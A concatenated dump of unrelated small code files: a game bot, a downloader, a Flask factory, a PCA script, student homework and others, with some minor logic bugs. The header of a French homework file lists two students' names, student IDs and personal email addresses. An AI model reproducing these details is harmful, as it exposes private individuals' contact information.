return squence_scrshot\n \ndef do_control(control_id) : \n if (control_id >= angle_devision) :\n pyautogui.moveTo(screen_w / 2, screen_h / 2)\n else :\n angle = 2 * math.pi * control_id / angle_devision\n offset_x = math.cos(angle) * 100\n offset_y = math.sin(angle) * 100\n pyautogui.moveTo(offset_x + screen_w / 2, offset_y + screen_h / 2)\n return\n\n# guess how many score it will make\ndef agarNet(scrshot_size, action_size) :\n input_image = Input(scrshot_size) # image\n input_action = Input((action_size,)) # one-hot\n x = Conv2D(4, (3, 3), padding = \"valid\", activation = \"relu\", data_format = \"channels_last\")(input_image)\n x = MaxPooling2D((2, 2), padding = \"same\")(x)\n x = Conv2D(8, (3, 3), padding = \"valid\", activation = \"relu\", data_format = \"channels_last\")(x)\n x = MaxPooling2D((2, 2), padding = \"same\")(x)\n flat_image = Flatten()(x)\n conc = Concatenate()([flat_image, input_action])\n score = Dense(1, activation = \"relu\")(conc)\n model = Model([input_image, input_action], score)\n model.summary()\n return model\n\nAgarNet = agarNet(net_input_shape, action_num)\nAgarNet.compile(loss = \"mse\", optimizer = \"sgd\")\n \n# Countdown\nfor i in range(3) :\n print(3 - i)\n time.sleep(1.0)\n\nActionSet = []\nfor i in range(action_num) :\n action_onehot = np.zeros((1, action_num))\n action_onehot[0, i] = 1\n ActionSet.append(action_onehot)\nprint(ActionSet[3].shape)\n\nStateQueue = []\n\nstart_time = datetime.datetime.now()\nwhile(True) :\n squence_srcshot = get_screenshots(scrshots_num, (scrshots_w, scrshots_h))\n max_pred_score = 0\n action = 0\n for i in range(action_num) :\n pred_score = AgarNet.predict([squence_srcshot, ActionSet[i]])\n if (max_pred_score > pred_score) : action = i\n print(action)\n do_control(action)\n if (isdead()) :\n print(\"isdead\")\n break\n if ((datetime.datetime.now() - start_time).total_seconds() > 30) : break\n","sub_path":"agarNet.py","file_name":"agarNet.py","file_ext":"py","file_size_in_byte":3248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"36430119","text":"country1 = \"The Netherlands (NL)\"\ncountry2 = \"The USA\"\n\ncountry = input(f\"Are we in the {country1} or the {country2}? \") \n\nif country.lower() not in country1.lower() and \\\n country.lower() not in country2.lower():\n print(\"I don't know this country\")\nelse:\n age = float(input(\"How old are you? \"))\n if age < 18 and country.lower() in country1.lower():\n print(f\"Too young for {country1}\")\n elif age < 21 and country.lower() in country2.lower():\n print(f\"Too young for {country2}\")\n else:\n print(\"Please enter the bar\")\n","sub_path":"Live/age_test3.py","file_name":"age_test3.py","file_ext":"py","file_size_in_byte":555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"80979199","text":"# Convert a shapefile to a geojson for d3 (select OH)\nfrom json import dumps\n\nimport shapefile\n\ninfile = \"D:/Downloads/cb_2017_us_cd115_5m/cb_2017_us_cd115_5m.shp\"\noutfile = \"D:/Downloads/district_geo.json\"\nreader = shapefile.Reader(infile)\nfields = reader.fields[1:]\nfield_names = [field[0] for field in fields]\nbuffer = []\nfor i, sr in enumerate(reader.shapeRecords()):\n data = dict(zip(field_names, sr.record))\n if data.get('STATEFP') == '39':\n geom = sr.shape.__geo_interface__\n buffer.append(dict(type=\"Feature\", geometry=geom, properties=data))\ngeojson = open(outfile, \"w\")\ngeojson.write(dumps({\"type\": \"FeatureCollection\", \"features\": buffer}))\ngeojson.close()","sub_path":"ohio-visualization/utility/pyutil.py","file_name":"pyutil.py","file_ext":"py","file_size_in_byte":687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"150039275","text":"from collections import Counter\n\nlst = [int(s) for s in open('input').read().split('\\n') if s != '']\n\nlst = sorted(lst)\nlst = [0] + lst + [lst[-1] + 3]\n\ndiffs = []\nfor i in range(1, len(lst)):\n diffs.append(lst[i] - lst[i-1])\n\nc = Counter(diffs)\nprint(c)\nprint(c[1] * c[3])\n\n\n","sub_path":"2020/10/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"410550303","text":"\"\"\"\nThe game package contains the classes for playing Hilo.\n\"\"\"\nfrom game.Player import Player\n\nclass Director:\n \"\"\"A code template for a person who directs the game. The responsibility of \n this class of objects is to keep track of the score and control the \n sequence of play.\n \n Attributes:\n keep_playing (boolean): Whether or not the player wants to keep playing.\n score (number): The total number of points earned.\n thrower (Thrower): An instance of the class of objects known as Thrower.\n \"\"\"\n\n def __init__(self):\n \"\"\"The class constructor.\n \n Args:\n self (Director): an instance of Director.\n \"\"\"\n\n self.keep_playing = True\n self.score = 300\n self.player = Player()\n self.number_of_plays = 0\n\n def start_game(self):\n \"\"\"Starts the game loop to control the sequence of play.\n \n Args:\n self (Director): an instance of Director.\n \"\"\"\n while self.keep_playing:\n self.get_inputs()\n self.update_score()\n self.do_outputs()\n\n def get_inputs(self):\n \"\"\"Gets the inputs at the beginning of each round of play. In this case,\n that means throwing the dice.\n\n Args:\n self (Director): An instance of Director.\n \"\"\"\n # Random number between 1-13 is generated and returned. \n self.player.get_card()\n print(f'The current card is: {self.player.cards[0]}')\n\n \n def update_score(self):\n \"\"\"Updates the important game information for each round of play. In \n this case, that means updating the score.\n\n Args:\n self (Director): An instance of Director.\n \"\"\"\n # Gets input from user ('h'/'l')\n guess = self.player.get_guess()\n assert type(guess) == type('string')\n\n # If this is the first turn, a second card needs to be drawed.\n # If it is not, a second card does not need to be drawed as there \n # is already one in the list.\n if self.number_of_plays == 0:\n assert self.number_of_plays == 0 \n self.player.get_card() \n\n # Points from 1 turn are saved in the points variable which are then \n # added/substracted to the total score.\n points = self.player.get_points(guess)\n assert type(points) == type(1)\n \n self.score += points\n \n def do_outputs(self):\n\n print(f\"The new card is: {self.player.cards[1]}\")\n \n print(f\"Your score is: {self.score}\")\n\n # Based on game rules and user input, game loop will continue or get\n # turned off. \n if self.score != 0:\n keep_playing = input(\"Keep playing? [y/n] \")\n if keep_playing == \"y\":\n self.player.clear_list()\n self.keep_playing = True\n print (\"\")\n else:\n print (\"\")\n print (f\"Your final score was: {self.score}\")\n if self.score > 300:\n print (\"Great job, see you next time!\")\n elif self.score <= 300:\n print (\"Better luck next time...\")\n self.keep_playing = False\n\n else:\n print (\"\")\n print (f\"Your final score was: {self.score}\")\n if self.score > 300:\n print (\"Great job, see you next time!\")\n elif self.score <= 300:\n print (\"Better luck next time...\")\n self.keep_playing = False\n","sub_path":"hilo/game/Director.py","file_name":"Director.py","file_ext":"py","file_size_in_byte":3554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"400741472","text":"\"\"\"前后端热更新rsync的配置\n\"\"\"\n\nimport os\n\nfrom myworkflows.models import ClientHotUpdate\nfrom myworkflows.models import ServerHotUpdate\n\nfrom myworkflows.rsync_conf import RSYNC_MANAGERS\n\n\ndef get_rsync_path(content_object, rsync_task):\n \"\"\"\n 根据热更新类型,运维管理机来确定需要同步的rsync目录\n \"\"\"\n\n PREFIX = '/data/hot_backup'\n\n if isinstance(content_object, ClientHotUpdate):\n type_path = 'hot_client'\n elif isinstance(content_object, ServerHotUpdate):\n type_path = 'hot_server'\n else:\n raise Exception('未知的热更新类型')\n\n project_name_en = content_object.project.project_name_en\n rsync_area_name = rsync_task.ops.room.area.short_name\n if not rsync_area_name:\n raise Exception('%s 没有配置rsync路径' % rsync_task.ops)\n uuid = content_object.uuid\n return os.path.join(PREFIX, type_path, project_name_en, rsync_area_name, uuid)\n\n\ndef get_rsync_config(project, area):\n \"\"\"根据项目英文名和地区\n 获取rsync的配置\n \"\"\"\n\n for index, x in enumerate(RSYNC_MANAGERS):\n if project == x['project'] and area == x['area']:\n return RSYNC_MANAGERS[index]\n\n return None\n","sub_path":"myworkflows/rsync_utils.py","file_name":"rsync_utils.py","file_ext":"py","file_size_in_byte":1217,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"451679133","text":"# -*- coding: utf-8 -*-\r\n\r\n__author__ = 'Mayank Gupta'\r\n__version__ = '1.1'\r\n__license__ = 'License :: MIT License'\r\n\r\nfrom typing import Union, Callable\r\nfrom typing import List, Tuple\r\nfrom typing import Dict, Type\r\nfrom typing import Any, Optional\r\nimport socket,select,re,ssl,threading,sys,os\r\nfrom urllib.parse import urlparse, unquote\r\nfrom time import sleep, time\r\nimport tempfile, signal\r\nfrom select import select\r\n\r\n\r\nclass download(object):\r\n\tdef __init__(self,url:str,name:str=\"\",status:bool=True,connection:int=8, chunk:int = 5120) -> None:\r\n\t\tself.name = name\r\n\t\tself.status = status\r\n\t\tself.chunk = chunk\r\n\t\tself.connection = connection\r\n\t\tself.url = unquote(url)\r\n\r\n\t\tprotocol, url, host =self.RawData(self.url)\r\n\r\n\t\tcheck = self.check_multi(protocol, self.url, host)\r\n\t\tif check == \"0\":\r\n\r\n\t\t\t# Data for process bar\r\n\t\t\tself.size = int(self.header[\"content-length\"]) \r\n\t\t\tself.gg = 0 # download bytes\r\n\t\t\tself.when = True\r\n\r\n\t\t\t#get filename\r\n\t\t\tname = self.getfilename()\r\n\r\n\t\t\tranges = self.get_range(int(self.header[\"content-length\"]),self.connection)\r\n\r\n\t\t\tself.files = {}\r\n\t\t\tthreads = []\r\n\t\t\tfor n,m in enumerate(ranges):\r\n\t\t\t\treq=self.gen_req(host,url,{\"range\":f\"bytes={m}\"})\r\n\t\t\t\tthreads.append(threading.Thread(target=self.down, args=(protocol, host, req, str(n))))\r\n\t\t\t\t# break\r\n\t\t\tif self.status:print(f\"Downloading from: {host}\")\r\n\t\t\tif self.status:threading.Thread(target=self.run).start()\r\n\t\t\tfor n in threads:n.start()\r\n\t\t\tfor n in threads:n.join()\r\n\t\t\t\r\n\t\t\t# End of process bar \r\n\t\t\tself.when = False\r\n\r\n\t\t\twith open(name,\"wb\") as f:\r\n\t\t\t\tfor n in range(len(self.files)):\r\n\t\t\t\t\tff=self.files[n]\r\n\t\t\t\t\tff.seek(0)\r\n\t\t\t\t\tf.write(ff.read())\r\n\t\t\t\t\tff.close()\r\n\t\t\tf.close()\r\n\t\t\t# end of procedd bar with 100%\r\n\t\t\tp=int(int(self.gg)*50/int(self.size))\r\n\t\t\tif self.status:print(\"Process: [{}] {}% Complete {:<10}\".format(\"█\"*p+\"-\"*(50-p), p*100/50,\"0.0 Kb/s\"))\r\n\r\n\t\t\tprint(f\"Downloading completed: {name}\")\r\n\t\telif check == \"1\" :\r\n\t\t\tname = self.getfilename()\r\n\t\t\treq=self.gen_req(host,url)\r\n\t\t\tsock=self.connect(protocol,host)\r\n\t\t\tsock.sendall(req)\r\n\t\t\tdata=sock.recv(self.chunk)\r\n\t\t\theader,image=self.hparsec(data)\r\n\t\t\tf = open(name,\"wb\")\r\n\t\t\tf.write(image)\r\n\t\t\tif self.status:print(f\"Downloading from: {host}\")\r\n\t\t\twhile True:\r\n\t\t\t\ttry:\r\n\t\t\t\t\tdata = sock.recv(self.chunk)\r\n\t\t\t\t\tif not data:break\r\n\t\t\t\t\tf.write(data)\r\n\t\t\t\texcept socket.timeout:\r\n\t\t\t\t\tbreak\r\n\t\t\t# end of procedd bar with 100%\r\n\t\t\tp=int(int(self.gg)*50/int(self.size))\r\n\t\t\tif self.status:print(\"Process: [{}] {}% Complete {:<10}\".format(\"█\"*p+\"-\"*(50-p), p*100/50,\"0.0 Kb/s\"))\r\n\r\n\t\t\tprint(f\"Downloading completed: {name}\")\r\n\t\telse:\r\n\t\t\tpass\r\n\r\n\tdef down(self, protocol:str, host:str, req:bytes, id:str=\"\") -> None:\r\n\t\tf = tempfile.TemporaryFile()\r\n\t\tif id is not \"\":self.files[int(id)] = f\r\n\t\tsock=self.connect(protocol,host)\r\n\t\tsock.settimeout(5)\r\n\t\tsock.sendall(req)\r\n\t\tdata=sock.recv(self.chunk)\r\n\t\theader,image=self.hparsec(data)\r\n\t\tself.gg += len(image)\r\n\t\tf.write(image)\r\n\t\twhile True:\r\n\t\t\ttry:\r\n\t\t\t\tdata = sock.recv(self.chunk)\r\n\t\t\t\tif not data:break\r\n\t\t\t\tf.write(data)\r\n\t\t\t\tself.gg += len(data)\r\n\t\t\texcept socket.timeout:\r\n\t\t\t\tbreak\r\n\r\n\t\tf.seek(0)\r\n\r\n\tdef run(self):\r\n\t\tself.temp1=0\r\n\t\twhile self.when:\r\n\t\t\tspeed=(self.gg-self.temp1)/1024\r\n\t\t\tp=int(int(self.gg)*50/int(self.size))\r\n\t\t\tprint(\"Process: [{}] {}% Complete {:<8}Kb/s\".format(\"█\"*p+\"-\"*(50-p), p*100/50,\"{:.2f}\".format(speed)),end=\"\\r\")\r\n\t\t\tself.temp1=self.gg\r\n\t\t\tsleep(1)\r\n\r\n\tdef get_range(self, length:int, conn:int) -> List[str]:\r\n\t\tav = int(length/conn)\r\n\t\tr=[]\r\n\t\tstart = 0\r\n\t\tr.append(f'{start}-{start+av}')\r\n\t\tstart+=av\r\n\t\tif conn>1:\r\n\t\t\tfor n in range(conn-2):\r\n\t\t\t\tr.append(f'{start+1}-{start+av}')\r\n\t\t\t\tstart+=av\r\n\t\t\tr.append(f'{start+1}-{length}')\r\n\t\treturn r\r\n\r\n\tdef getfilename(self) -> str:\r\n\t\tif not self.name:\r\n\t\t\tif self.tmpname:\r\n\t\t\t\treturn self.tmpname\r\n\t\t\telse:\r\n\t\t\t\tdd=self.header[\"content-type\"].split(\"/\")[1].split(\"+\")[0]\r\n\t\t\t\treturn f'{int(time())}.{dd}'\r\n\t\treturn self.name\r\n\tdef check_multi(self, protocol:str, url:str, host:str) -> str:\r\n\t\treq=self.gen_req(host,url)\r\n\t\tsock=self.connect(protocol,host)\r\n\t\tsock.sendall(req)\r\n\t\tdata=sock.recv(self.chunk)\r\n\t\tself.header,image=self.hparsec(data)\r\n\t\tif int(self.header[\"status\"]) is not 200:\r\n\t\t\ttry:\r\n\t\t\t\tsock.close()\r\n\t\t\t\tself.__init__(self.header[\"location\"], name=self.name, status=self.status, chunk=self.chunk, connection=self.connection)\r\n\t\t\t\treturn \"2\"\r\n\t\t\texcept Exception as err:\r\n\t\t\t\tprint(f\"Error: {err}\")\r\n\t\t\t\tprint(\"We cant download from this URL Contact Admin with URL OR can't save with this file name\")\r\n\t\t\t\tsock.close()\r\n\t\t\t\tsys.exit(1)\r\n\r\n\t\tif \"accept-ranges\" in self.header.keys():\r\n\t\t\treturn \"0\"\r\n\t\treturn \"1\"\r\n\r\n\tdef connect(self, protocol:str, host:str) -> socket.socket:\r\n\t\ts = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n\t\tif protocol==\"https\":\r\n\t\t\ts.connect((host, 443))\r\n\t\t\ts = ssl.create_default_context().wrap_socket(s, server_hostname=host)\r\n\t\telif protocol==\"http\":\r\n\t\t\ts.connect((host, 80))\r\n\t\telse:\r\n\t\t\tprint(\"we only support HTTP and HTTPS\")\r\n\t\t\ts.close()\r\n\t\t\tsys.exit(1)\r\n\t\treturn s\r\n\r\n\tdef hparsec(self,data:bytes) -> Tuple[Dict[str,str], bytes]:\r\n\t\theader = data.split(b'\\r\\n\\r\\n')[0]\r\n\t\tstore = data[len(header)+4:]\r\n\t\thtml = data[len(header)+4:]\r\n\t\theader=header.decode().split(\"\\r\\n\")\r\n\t\tout={}\r\n\t\tout[\"status\"]=header[0].split()[1]\r\n\t\tfor n in header[1:]:\r\n\t\t\ttemp=n.split(\":\")\r\n\t\t\tvalue=\"\"\r\n\t\t\tfor n in temp[1:]:\r\n\t\t\t\tvalue+=n+\":\"\r\n\t\t\tout[temp[0].lower()]=value[1:len(value)-1]\r\n\t\treturn out,store\r\n\r\n\tdef gen_req(self, host:str, url:str, header:Dict[str,str] = {}) -> bytes:\r\n\t\treq=f'GET {url} HTTP/1.1\\r\\nhost: {host}\\r\\nuser-agent: MayankFawkes/bot\\r\\nconnection: close\\r\\n'\r\n\t\tfor n, m in header.items():\r\n\t\t\treq += f'{n}:{m}\\r\\n'\r\n\t\treq+=\"\\r\\n\"\r\n\t\treturn req.encode()\r\n\r\n\tdef RawData(self,web_url:str)-> Tuple[str, str, str]:\r\n\t\to=urlparse(web_url)\r\n\t\thost=o.netloc\r\n\t\tprotocol=o.scheme\r\n\t\tif o.query:\r\n\t\t\turl=(o.path+\"?\"+o.query)\r\n\t\t\tself.tmpname = \"\"\r\n\t\telse:\r\n\t\t\turl=o.path\r\n\t\t\tself.tmpname = o.path.split(\"/\")[-1]\r\n\t\treturn protocol, url, host\r\n\r\nif __name__ == '__main__':\r\n\tlink=\"http://www.macaronisoup.com/songs/mp3/LoobyLoo.mp3\"\r\n\tdownload(link ,name = \"\", status = True, connection = 8, chunk = 5120)\r\n","sub_path":"Downloader.py","file_name":"Downloader.py","file_ext":"py","file_size_in_byte":6209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"104998312","text":"from flask import Flask\nfrom flask_security import SQLAlchemyUserDatastore\n\nfrom .accounts.models import User, Role\nfrom .core import bootstrap, db, security\nfrom .home.views import home\nfrom .api.endpoints import api\n\n\ndef create_app(package_name, package_path, settings=None):\n app = Flask(package_name,\n instance_relative_config=True,\n template_folder='templates')\n app.config.from_pyfile('conf.py', silent=True)\n\n # Allow overriding of settings\n if settings is not None:\n app.config.from_object(settings)\n\n # init extensions\n db.init_app(app)\n security.init_app(app,\n SQLAlchemyUserDatastore(db, User, Role),\n register_blueprint=True,\n )\n bootstrap.init_app(app)\n\n # register blueprints\n app.register_blueprint(home)\n app.register_blueprint(api)\n\n\n return app\n","sub_path":"todomvc/factory.py","file_name":"factory.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"579606693","text":"from pylab import *\nimport numpy as np\nimport random\nimport matplotlib.cbook as cbook\nimport random\nimport time\nfrom scipy.misc import imread\nfrom scipy.misc import imsave\nfrom scipy.misc import imresize\nimport matplotlib.image as mpimg\nimport matplotlib.pyplot as plt\nimport os\n\nactors = ['eckhart', 'sandler', 'brody', 'anders', 'benson', 'applegate', 'agron', 'anderson']\ntraining_dir = 'training/'\n\ndef pca(X):\n \"\"\" Principal Component Analysis\n input: X, matrix with training data stored as flattened arrays in rows\n return: projection matrix (with important dimensions first), variance and mean.\n From: Jan Erik Solem, Programming Computer Vision with Python\n #http://programmingcomputervision.com/\n \"\"\"\n \n # get dimensions\n num_data,dim = X.shape\n \n # center data\n mean_X = X.mean(axis=0)\n X = X - mean_X\n \n if dim > num_data:\n # PCA - compact trick used\n M = dot(X,X.T) # covariance matrix\n e,EV = linalg.eigh(M) # eigenvalues and eigenvectors\n tmp = dot(X.T,EV).T # this is the compact trick\n V = tmp[::-1] # reverse since last eigenvectors are the ones we want\n S = sqrt(e)[::-1] # reverse since eigenvalues are in increasing order\n for i in range(V.shape[1]):\n V[:,i] /= S\n else:\n # PCA - SVD used\n U,S,V = linalg.svd(X)\n V = V[:num_data] # only makes sense to return the first num_data\n \n # return the projection matrix, the variance and the mean\n return V,S,mean_X\n\ndef get_digit_matrix(img_dir, actor):\n im_files = sorted([img_dir + filename for filename in os.listdir(img_dir) if actor in filename])\n im_shape = array(imread(im_files[0], flatten = True)).shape # open one image to get the size \n im_matrix = array([imread(im_file, flatten = True).flatten() for im_file in im_files])\n im_matrix = array([im_matrix[i, :] / (norm(im_matrix[i, :]) + 0.0001) for i in range(im_matrix.shape[0])])\n return (im_matrix, im_shape)\n\ndef display_save_25_comps(actor, V, im_shape):\n '''Display 25 components in V'''\n figure()\n for i in range(25):\n plt.subplot(5, 5, i+1)\n plt.axis('off')\n gray()\n imshow(V[i,:].reshape(im_shape))\n savefig(actor + '_display_save_25_comps.jpg')\n\nif __name__ == '__main__':\n for actor in actors:\n im_matrix, im_shape = get_digit_matrix(training_dir, actor)\n for i in range(im_matrix.shape[0]):\n im_matrix[i,:] = im_matrix[i,:]/255.0\n V,S,mean_im = pca(im_matrix)\n imsave(actor + '_immean.jpg', mean_im.reshape(im_shape))\n display_save_25_comps(actor, V, im_shape)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":2672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"64522122","text":"fajl = open(\"test01.in\",\"r\")\nred = fajl.readline()\nwhile red != \"\":\n ucenik = red.strip()\n uspjeh = 0\n predmeti = []\n for i in range(3):\n p,o = fajl.readline().strip().split()\n o = int(o)\n if o == 1:\n predmeti.append(p)\n uspjeh += o\n print(ucenik,end = \" \")\n if(len(predmeti)==0):\n print(uspjeh/3)\n else:\n for predmet in predmeti:\n print(predmet, end = \" \")\n print()\n red = fajl.readline()\n","sub_path":"9/9.20.py","file_name":"9.20.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"99923901","text":"\"\"\"\n(quote ((section MIPI13.4)(groupe )\n (date \"Thu Oct 19 12:29:58 CEST 2017\")(time \"1508408998\")\n (id1 \"3700232\")(nom1 \"Rebai\")(prenom1 \"Ibtissem\")\n (mel1 \"tissemos@hotmail.fr\")\n (id2 \"3700289\")(nom2 \"Serfaty\")(prenom2 \"Emma\")\n (mel2 \"emma99serfaty@gmail.com\")))\n\n\n\n\"\"\"\n\n###################################################################################################\n# Note: 17/20\n###################################################################################################\n\n\ndef repetition(x,k):\n \"\"\" str*int->list[str]\n hypoyhese : k>=0\n retourne la liste contenant k occurence de x \"\"\"\n #LR:list\n LR=[]\n #i:int\n i=0\n for i in range(1,k+1):\n LR.append(x)\n return LR\n#jeu de test\nassert repetition(\"thon\", 4)==['thon', 'thon', 'thon', 'thon']\nassert repetition(3,8)==[3,3,3,3,3,3,3,3]\nassert repetition(5,0)==[]\n\ndef repetition_bloc(L,k):\n \"\"\" liste[alpha]*int->liste[alpha]\n hypothese : k>=0\n retourne la liste obtenue en concaténant k fois la liste l\"\"\"\n #LR:list[alpha]\n LR=[]\n #i:int\n for i in range(1,k+1):\n LR=LR+L\n return LR\n\n#jeu de test\nassert repetition_bloc([1,2,3],5)==[1,2,3,1,2,3,1,2,3,1,2,3,1,2,3]\nassert repetition_bloc([1,2,3,4,5],0)==[]\n\ndef somme(L):\n \"\"\"liste[Number]->Number\n retourne la somme des elements de la liste\"\"\"\n #i:int (indice courant)\n\n #s:int (somme )\n s=0\n for i in range(0,len(L)):\n s=s+L[i]\n return s\n\n#jeuxdetests\nassert somme([1,2,3,4,5])==15\nassert somme([])==0\nassert somme([1,2.5,3.2,4,5])==15.7\n\ndef moyenne(L):\n \"\"\"liste[Number]->Number\n hypothese: len(L)!=0\n retourne la moyenne des éléments de cette liste\"\"\"\n #m:Number\n m=somme(L)/len(L)\n return m\n\n#jeu de tests\nassert moyenne([1,2,3,4,5])==3.0\nassert moyenne([5])==5.0\nassert moyenne([1,2.5,3.5,4,5])==3.2\n\ndef carres(L):\n \"\"\"list[Number]->Number\n retourne la liste des elements de L\"\"\"\n #LR:list\n LR=[]\n #e : number (element courant)\n for e in L:\n LR.append(e**2)\n return LR\n#jeu de test\nassert carres([1,2,3,4,5])==[1,4,9,16,25]\nassert carres([])==[]\nassert carres([10,0.5,2.0])==[100,0.25,4.0]\n\ndef variance(L):\n \"\"\"list[Number]->Number\n hypothese:len(L)!=0\n retourne loa variance de la liste\"\"\"\n #m1:Number (moyenne des carres)\n m1=moyenne(carres(L))\n #m2:Number (carre de la moyenne)\n m2=moyenne(L)**2\n return m1-m2\n\n#jeux de test\nassert variance([10,10,10,10])==0.0\nassert variance([20,0,20,0])==100.0\n\nimport math\n\ndef ecart_type(L):\n \"\"\"list[Number]->Number\n hypothese:len(L)!=0\n retourne l'ecart_type de la liste\"\"\"\n return math.sqrt(variance(L))\n\n#jeuxdetests\nassert ecart_type([10,10,10,10])==0.0\nassert ecart_type([20,0,20,0])==10.0\n\ndef entrelacement(L1,L2):\n \"\"\"list[alpa]*list[alpha]->list[alpa]\n hyp : len(L1)==len(L2)\n retourne la liste obtenue en intercalant les elements de L1 et ceux de L2\"\"\"\n #L:list[alpa]\n L=[]\n #i:int (indice courant)\n for i in range(0,len(L1)):\n L.append(L1[i])\n L.append(L2[i])\n return L\n\n#jeu de test\nassert entrelacement([1,2,3], [4,5,6])==[1,4,2,5,3,6]\nassert entrelacement(['a','b'], ['c','d'])==['a','c','b','d']\n\n\n###################################################################################################\n# Il manque la question 2\n###################################################################################################\n\n","sub_path":"monitorat/1I001-2/13.4/rendu6/17rebai-serfaty-1508408998.py","file_name":"17rebai-serfaty-1508408998.py","file_ext":"py","file_size_in_byte":3421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"181461506","text":"import unittest\nimport email_builder\nfrom email.mime.multipart import MIMEMultipart\n\nclass TestEmailBuilder(unittest.TestCase):\n \"\"\"\n Test cases for the email_builder function\n \"\"\"\n \n def setUp(self):\n self.to = \"john@doe.com\"\n self.message = \"this is a test\"\n self.file1 = \"file_1.txt\"\n self.file2 = \"file_2.txt\" \n \n def test_email_builder(self):\n msg = email_builder.build_email(self.to, self.message, attachments=[self.file1, self.file2])\n self.assertEqual(msg['To'], self.to, \"email addresses should be equal\")\n for element in msg.walk():\n if element.get_content_type() == 'text/plain':\n self.assertEqual(element.get_payload(), self.message, \"messages should be equal\")\n else:\n content_disposition = element.get(\"Content-Disposition\", None)\n if content_disposition:\n dispositions = content_disposition.strip().split(\";\")\n if bool(content_disposition and dispositions[0].lower() == \"attachment\"):\n self.assertIn(element.get_payload(decode=True),[self.file1, self.file2], \"should be one of these files\")\n \n def TearDown(self):\n pass\n \nif __name__ == \"__main__\":\n unittest.main()","sub_path":"Exercises/HandlingEmail_Homework/src/test_email_builder.py","file_name":"test_email_builder.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"157838016","text":"\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\n\nmpl.style.use('classic')\n\nmean = 100\nsd = 15\nN = 1000\nbinsize=20\n\nIQ = np.random.normal(mean, sd, N)\n\ncount, bin, extra = plt.hist(IQ, binsize, facecolor='blue', normed=False, label='IQs')\nplt.plot(bin[1:], count, label='series', color='r')\nplt.xlabel('IQ')\nplt.ylabel('Count/Fraction')\nplt.title('IQ distribution')\n# plt.xticks(bin)\nplt.grid(True)\nplt.legend()\nplt.show()","sub_path":"tutorial2_revamp/MATPLOTLIB/tut5_histogram.py","file_name":"tut5_histogram.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"113424808","text":"import subprocess\nimport gfatofasta\nimport contig_info\nimport os\n\ndef create_multi_fasta(long_reads, output):\n \"\"\"Create a multifasta sequence file.\n\n SSPACE requires that all long reads are in\n a single multifasta file. This function append\n new reads to the multifasta file.\n\n Args:\n long_reads (list): Path to nanopore fasta files.\n output_dir (str): Output directory for program\n\n Returns:\n path (str): Path to multifasta file.\n \"\"\"\n global reads\n\n path = output + '/np_reads.fasta'\n with open(path, 'a') as outfile:\n for fasta in long_reads:\n with open(fasta, 'r') as infile:\n for line in infile:\n if line[0] == '>':\n outfile.write(line)\n else:\n outfile.write(line + '\\n')\n\n reads = len(long_reads)\n return path\n\n\ndef miniasm(fastafile, paffile):\n \"\"\"Run miniasm.\"\"\"\n print('Run miniasm')\n args = ['miniasm', '-f', fastafile, paffile]\n process = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE)\n out, err = process.communicate()\n print('Write assembly to file')\n assembly_path = 'assembly.gfa'\n with open(assembly_path, 'w') as assembly_file:\n assembly_file.write(out)\n print('Return assembly')\n return assembly_path\n\ndef minimap(fastafile):\n \"\"\"Run minimap\"\"\"\n print('Run minimap')\n args = ['minimap', '-x', 'ava10k', '-t', '12', fastafile, fastafile]\n process = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE)\n out, err = process.communicate()\n print(err)\n print('Write paf-file')\n paf_path = 'out.paf'\n with open(paf_path, 'w') as paf_file:\n paf_file.write(out)\n print('Return paf-file')\n return paf_path\n\n\ndef run_mini(long_reads, output_dir, counter, intensity):\n \"\"\"Run minimap and miniasm.\"\"\"\n output = output_dir + '_' + str(counter[0])\n \n print(\"Maked dir\")\n os.mkdir(output)\n fasta_file = create_multi_fasta(long_reads, output)\n paf_file = minimap(fasta_file)\n assembly_file = miniasm(fasta_file, paf_file)\n gfatofasta.gfatofasta(assembly_file, output)\n print(contig_info.get_N50(output+'.fasta'))\n print(contig_info.get_contigs(output+'.fasta'))\n","sub_path":"schavott/mini.py","file_name":"mini.py","file_ext":"py","file_size_in_byte":2289,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"458314774","text":"\nimport renmas2\nimport renmas2.core\nfrom .sample import Sample\nfrom .sampler import Sampler\n\n# xw = s(x - width/2 + 0.5)\n# yw = s(y - height/2 + 0.5)\nclass RegularSampler(Sampler):\n def __init__(self, width, height, pixel=1.0):\n super(RegularSampler, self).__init__(width, height, 1, pixel)\n self._ds = None\n\n def _update_ds(self):\n if self._ds is None: return\n for x in range(len(self._tile.lst_tiles)):\n ds = self._ds[x]\n tile = self._tile.lst_tiles[x]\n ds[\"endx\"] = tile.x + tile.width \n ds[\"endy\"] = tile.y + tile.height \n ds[\"tilex\"] = tile.x \n 